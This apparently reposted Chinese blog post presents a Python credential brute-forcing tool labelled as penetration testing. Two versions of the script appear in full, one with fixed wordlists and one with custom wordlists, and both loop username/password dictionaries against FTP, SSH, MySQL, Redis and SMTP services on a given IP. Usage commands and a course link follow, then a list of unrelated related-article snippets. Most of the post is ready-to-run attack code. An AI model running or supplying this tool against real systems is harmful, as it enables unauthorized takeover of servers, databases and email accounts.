Python 渗透测试:电子邮件 || Redis || FTP || SSH || MySQL 集成爆破工具.

news2024/11/19 7:33:39

集成爆破工具.

集合爆破里面包含了:电子邮件爆破工具,Redis爆破工具,FTP爆破工具,SSH爆破工具,MySQL爆破工具。


目录:

集合爆破工具.

电子邮件 爆破工具:

Redis 爆破工具:

FTP 爆破工具:

SSH 爆破工具:

MySQL 爆破工具:

集合爆破工具编写:

(1)固定字典编写:

运行效果:

(2)可自定义字典.

运行效果:


电子邮件 爆破工具:

        用于尝试猜测电子邮件账号的密码,通常使用常见密码或字典进行爆破。

Python 渗透测试:电子邮件 SMTP 协议爆破.(25端口)-CSDN博客


Redis 爆破工具:

        用于尝试猜测Redis服务器的访问密码,以获取对Redis数据库的控制权限。

Python 渗透测试:Redis 数据库 弱密码测试.(6379端口)-CSDN博客


FTP 爆破工具:

        用于尝试猜测FTP服务器的用户名和密码,以便登录并访问FTP服务器上的文件。

Python 渗透测试:FTP 文件传输 爆破.(21端口)-CSDN博客


SSH 爆破工具:

        用于尝试猜测SSH服务器的用户名和密码,以便远程登录并控制目标服务器。

Python 渗透测试:SSH 加密通道 传输文件 爆破.(22 端口)-CSDN博客


MySQL 爆破工具:

        用于尝试猜测MySQL数据库的用户名和密码,以便获取对数据库的访问权限。

Python 渗透测试:MySQL 数据库爆破.(3306 端口)-CSDN博客


集成爆破工具编写:

(1)固定字典编写:

from ftplib import FTP
import paramiko
import pymysql
import redis
import smtplib
import os,sys
 
def ftp_check(ip,username,password):
    ftp = FTP()
    print('check->'+ip+'|'+username+'|'+password)
    try:
        ftp.connect(ip, 21)
        ftp.login(username,password)
        print('success')
        exit()
    except Exception as e:
        print('failed')
 
def ssh_check(ip,username,password):
    print('check->' + ip + '|' + username + '|' + password)
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(ip,"22",username,password)
        print('success')
        exit()
    except Exception as e:
        print('failed')
 
def mysql_check(ip,username,password):
    print('check->' + ip + '|' + username + '|' + password)
    try:
        conn_obj = pymysql.connect(
            host=ip,  # MySQL服务端的IP地址
            port=3306,  # MySQL默认PORT地址(端口号)
            user=username,  # 用户名
            password=password,  # 密码,也可以简写为passwd
            database='mysql',  # 库名称,也可以简写为db
            charset='utf8'  # 字符编码
        )
        print('success')
        exit()
    except Exception as e:
        pass
 
def redis_check(ip,password):
    print('check->' + ip + '|' + password)
    try:
        redis_conn = redis.Redis(host=ip, port=6379, password=password, db=0)
        redis_conn.set('test', 'xiaodi')
        print('success')
        exit()
    except Exception as e:
        pass
 
def email_check(ip,username,password):
    print('check->' + ip + '|' +username+'|'+ password)
    try:
        smtpObj = smtplib.SMTP()
        smtpObj.connect('smtp.'+ip, 25)  # 25 为 SMTP 端口号
        smtpObj.login(username, password)
        print('ok')
        exit()
    except smtplib.SMTPException:
        print("Error")
 
if __name__ == '__main__':
    pypath = os.getcwd()
    print('eg:固定字典使用说明:')
    print('python all.py ftp 127.0.0.1')
    print('python all.py ssh 127.0.0.1')
    print('python all.py redis 127.0.0.1')
    print('python all.py mysql 127.0.0.1')
    print('python all.py email')

    xy=sys.argv[1]                  #  判断类型,然后进行
    ip=sys.argv[2]                  #  判断 IP 地址
    # zidian = sys.argv[3]            #  接收账号的字典
    # zidian2=sys.argv[4]             #  接收密码的字典
 
    #没有设置自定义字典,采用固定字典
    #if len(zidian)==0:
    if xy=='ftp':
        for username in open(pypath + '//dic_username_ftp.txt'):
            username = username.replace('\n', '')
            for password in open(pypath + '//dic_password_ftp.txt'):
                password = password.replace('\n', '')
                ftp_check(ip, username, password)
    elif xy=='ssh':
        for username in open(pypath + '//dic_username_ssh.txt'):
            username = username.replace('\n', '')
            for password in open(pypath + '//dic_password_ssh.txt'):
                password = password.replace('\n', '')
                ssh_check(ip, username, password)
    elif xy=='mysql':
        for username in open(pypath + '//username_mysql.txt'):
            username = username.replace('\n', '')
            for password in open(pypath + '//password_mysql.txt'):
                password = password.replace('\n', '')
                mysql_check(ip, username, password)
    elif xy=='redis':
        for password in open(pypath + '//dic_password_redis.txt'):
            password = password.replace('\n', '')
            redis_check(ip, password)
    elif xy=='email':
        for username in open(pypath + '//email_username.txt'):
            username = username.replace('\n', '')
            ip = username.split('@')[1]
            for password in open(pypath + '//email_password.txt'):
                password = password.replace('\n', '')
                email_check(ip, username, password)
运行效果:
D:\python\python.exe 爆破.py mysql 127.0.0.1

python [名.py] [要爆破的类型] [IP地址]


(2)可自定义字典.

from ftplib import FTP
import paramiko
import pymysql
import redis
import smtplib
import os,sys
 
def ftp_check(ip,username,password):
    ftp = FTP()
    print('check->'+ip+'|'+username+'|'+password)
    try:
        ftp.connect(ip, 21)
        ftp.login(username,password)
        print('success')
        exit()
    except Exception as e:
        print('failed')
 
def ssh_check(ip,username,password):
    print('check->' + ip + '|' + username + '|' + password)
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(ip,"22",username,password)
        print('success')
        exit()
    except Exception as e:
        print('failed')
 
def mysql_check(ip,username,password):
    print('check->' + ip + '|' + username + '|' + password)
    try:
        conn_obj = pymysql.connect(
            host=ip,  # MySQL服务端的IP地址
            port=3306,  # MySQL默认PORT地址(端口号)
            user=username,  # 用户名
            password=password,  # 密码,也可以简写为passwd
            database='mysql',  # 库名称,也可以简写为db
            charset='utf8'  # 字符编码
        )
        print('success')
        exit()
    except Exception as e:
        pass
 
def redis_check(ip,password):
    print('check->' + ip + '|' + password)
    try:
        redis_conn = redis.Redis(host=ip, port=6379, password=password, db=0)
        redis_conn.set('test', 'xiaodi')
        print('success')
        exit()
    except Exception as e:
        pass
 
def email_check(ip,username,password):
    print('check->' + ip + '|' +username+'|'+ password)
    try:
        smtpObj = smtplib.SMTP()
        smtpObj.connect('smtp.'+ip, 25)  # 25 为 SMTP 端口号
        smtpObj.login(username, password)
        print('ok')
        exit()
    except smtplib.SMTPException:
        print("Error")
 
if __name__ == '__main__':
    pypath = os.getcwd()
    print('python all.py email')
    print('eg:自定义字典使用说明:')
    print('python all.py ftp 127.0.0.1 user.txt pass.txt')
    print('python all.py ssh 127.0.0.1 user.txt pass.txt')
    print('python all.py redis 127.0.0.1 user.txt pass.txt')
    print('python all.py mysql 127.0.0.1 user.txt pass.txt')
    print('python all.py email user.txt pass.txt')
    xy=sys.argv[1]                  #  判断类型,然后进行
    ip=sys.argv[2]                  #  判断 IP 地址
    zidian = sys.argv[3]            #  接收账号的字典
    zidian2=sys.argv[4]             #  接收密码的字典
 
    #设置了自定义字典
    if xy=='ftp':
        for username in open(pypath +'\\'+ zidian):
            username = username.replace('\n', '')
            for password in open(pypath +'\\'+ zidian2):
                password = password.replace('\n', '')
                ftp_check(ip, username, password)
    elif xy=='ssh':
        for username in open(pypath +'\\'+ zidian):
            username = username.replace('\n', '')
            for password in open(pypath + '\\'+ zidian2):
                password = password.replace('\n', '')
                ssh_check(ip, username, password)
    elif xy=='mysql':
        for username in open(pypath + '\\'+ zidian):
            username = username.replace('\n', '')
            for password in open(pypath + '\\'+ zidian2):
                password = password.replace('\n', '')
                mysql_check(ip, username, password)
    elif xy=='redis':
        for password in open(pypath + '\\'+ zidian):
            password = password.replace('\n', '')
            redis_check(ip, password)
    elif xy=='email':
        for username in open(pypath + '\\'+ zidian):
            username = username.replace('\n', '')
            ip = username.split('@')[1]
            for password in open(pypath + '\\'+ zidian2):
                password = password.replace('\n', '')
                email_check(ip, username, password)
运行效果:
D:\python\python.exe 爆破.py mysql 127.0.0.1 username_mysql.txt password_mysql.txt

python [名.py] [要爆破的类型] [IP地址] [账号字典] [密码字典]

    

   

    

学习链接:第159天:安全开发-Python-协议库爆破&FTP&SSH&Redis&SMTP&MYSQL等_哔哩哔哩_bilibili

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1699568.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

元组推导式

自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 使用元组推导式可以快速生成一个元组,它的表现形式和列表推导式类似,只是将列表推导式中的“[]”修改为“()”。例如&#xf…

Quartus Cyclone I II III IVE 器件型号

玩耍了一个 EP2 型号的开发板,发现 安装的quartus13 没有Cyclone II 型号,经过探索发现了是版本不对。 https://www.intel.com/content/www/us/en/software-kit/711920/intel-quartus-ii-subscription-edition-design-software-version-13-0sp1-for-win…

java欢迪迈手机商城设计与实现源码(springboot+vue+mysql)

风定落花生,歌声逐流水,大家好我是风歌,混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的欢迪迈手机商城设计与实现。项目源码以及部署相关请联系风歌,文末附上联系信息 。 项目简介: 欢迪迈手机商城…

【JVM】内存区域划分 | 类加载的过程 | 双亲委派机制 | 垃圾回收机制

文章目录 JVM一、内存区域划分1.方法区(1.7之前)/ 元数据区(1.8开始)2.堆3.栈4.程序计数器常见面试题: 二、类加载的过程1.类加载的基本流程1.加载2.验证3.准备4.解析5.初始化 2.双亲委派模型类加载器找.class文件的过…

智能无网远控再升级 向日葵Q2Pro升级版发布

无网或者内网设备也想要进行远程控制,是不是听上去有些天方夜谭了?其实这类特种设备的远程控制需求是非常强的,比如医疗/工控设备的远程运维、使用指导教学等等。 实际上,只要这类设备有屏幕,支持可视化的桌面操作&am…

JVM学习-Class文件结构①

字节码文件的跨平台性 Java语言:跨平台的语言(Write Once,Run Anywhere) 当Java源代码编译成字节码后,如果想在不同平台上运行,则无须再次编译这上优势不再那么吸引人,Python,PHP,Ruby,Lisp等有强大的解释器跨平台似乎已经成为一…

c语言:模拟strlen(三种方法)最全版本

1.计数的方法 #include <stdio.h> #include <assert.h> int my_strlen(const char * str)//const的使用优化 {int count0;assert(str)while(*str){count;str;}return count; } 2.用指针的方法&#xff08;指针-指针&#xff09; #include <stdio.h> #incl…

ML307R OpenCPU 数据保存文件系统fs使用

一、函数介绍 二、实现数据保存 三、代码下载地址 一、函数介绍 以下是cm_fs.h里面的函数介绍 /*** brief 文件指针定位** param [in] fd 文件描述符* param [in] offset 指针偏移量* param [in] base 偏移起始点&#xff0c;CM_FS_SEEK_SET&#xff1a;文件开头 CM_FS…

零基础学Java第二十三天之网络编程Ⅱ

1. InetAddress类 用来表示主机的信息 练习&#xff1a; C:\Windows\system32\drivers\etc\ hosts 一个主机可以放多个个人网站 www.baidu.com/14.215.177.37 www.baidu.com/14.215.177.38 www.taobao.com/183.61.241.252 www.taobao.com/121.14.89.253 2. Socket 3.…

vue3和vite实现vue-router4版本路由的配置以及自动生成路由配置

这个是普通的手动路由配置&#xff1a;https://blog.csdn.net/weixin_68658847/article/details/130071101 自动路由配置 创建项目 npm create vitelatest my-vue-app -- --template vue // 或者 yarn create vite my-vue-app --template vue// 安装路由 yarn add vue-route…

WAF几种代理模式详解

WAF简介 WAF的具体作用就是检测web应用中特定的应用&#xff0c;针对web应用的漏洞进行安全防护&#xff0c;阻止如SQL注入&#xff0c;XSS&#xff0c;跨脚本网站攻击等 正向代理 WAF和客户端与网络资源服务器都建立连接&#xff0c;但是WAF 的工作口具有自己的 IP 地址&…

vscode 插件-01基础

翻译 Chinese (Simplified) (简体中文) Language Pack for Visual Studio Code 适用于 VS Code 的中文&#xff08;简体&#xff09;语言包 远程连接 Remote Development Remote Development是vscode的远程编程与调试的插件&#xff0c;使用这个插件可以在很多情况下代替vim…

CentOS 的常见命令

CentOS 是一种广泛使用的 Linux 发行版&#xff0c;特别在服务器环境中。本文将详细介绍 CentOS 中常见的命令&#xff0c;以便帮助用户在操作系统中有效地进行各种操作。下面介绍一下文件和目录操作、用户和权限管理、系统信息查看、软件包管理以及网络配置等方面的命令。 一…

Java 类加载和实例化对象的过程

1. 类加载实例化过程 当我们编写完一个*.java类后。编译器&#xff08;如javac&#xff09;会将其转化为字节码。转化的字节码存储在.class后缀的文件中&#xff08;.class 二进制文件&#xff09;。接下来在类的加载过程中虚拟机JVM利用ClassLoader读取该.class文件将其中的字…

JavaEE初阶多线程 (5)

1.锁的策略 1.1锁的策略是什么 这个锁的策略可以理解为&#xff0c;一种做法&#xff0c;相当于当你遇到锁竞争&#xff0c;加锁解锁&#xff0c;的情况你会怎么做。 乐观锁可以理解为疫情的时候比较乐观就买了最基本的物资&#xff0c; 买的时候非常方便 1.2乐观锁 当效率…

linux的用户管理

新建用户&#xff1a;1.useradd 2.passwd 完成的操作&#xff1a; (1)/etc/passwd添加一行 (2)/etc/shadow添加一行 (3)/etc/group添加一行 (4)创建用户家目录 (5)创建用户邮件文件 例&#xff1a;创建用户jerry&#xff0c;要求: uid:777&am…

Linux系统进程管理

系统进程管理 一、进程概述 1.1 什么是进程&#xff1f;进程管理需要做什么&#xff1f; 进程是已启动的运行实例&#xff0c;进程有以下组成部分&#xff1a; ​ 已分配内存的地址空间 ​ 进程ID ​ 程序的代码 ​ 进程状态 进程管理包括进程调度、中断处理、信号、进程…

基于 vuestic-ui 实战教程

1. 前言简介 Vuestic UI是一个基于开源Vue 3的UI框架。它是一个MIT许可的UI框架&#xff0c;提供了易于配置的现成前端组件&#xff0c;并加快了响应式和快速加载Web界面的开发。它最初于2021年5月由EpicMax发布&#xff0c;这就是今天的Vuestic UI。 官网地址请点击访问 体验…

半年不在csdn写博客,总结一下这半年的学习经历,coderfun的一些碎碎念.

前言 自从自己建站一来&#xff0c;就不在csdn写博客了&#xff0c;但是后来自己的网站因为资金问题不能继续维护下去&#xff0c;所以便放弃了自建博客网站来写博客&#xff0c;等到以后找到稳定&#xff0c;打算满意的工作再来做自己的博客网站。此篇博客用来记录自己在csdn…

SCI审稿结果也可能是剽窃的?Nature重锤:可能只是冰山一角

我是娜姐 迪娜学姐 &#xff0c;一个SCI医学期刊编辑&#xff0c;探索用AI工具提效论文写作和发表。 近期&#xff0c;Nature报道了华沙生命科学大学水文学家Mikołaj Piniewski和他的同事们&#xff0c;针对学术界同行评审报告剽窃的调查结果。该团队披露了数十起明显的同行评…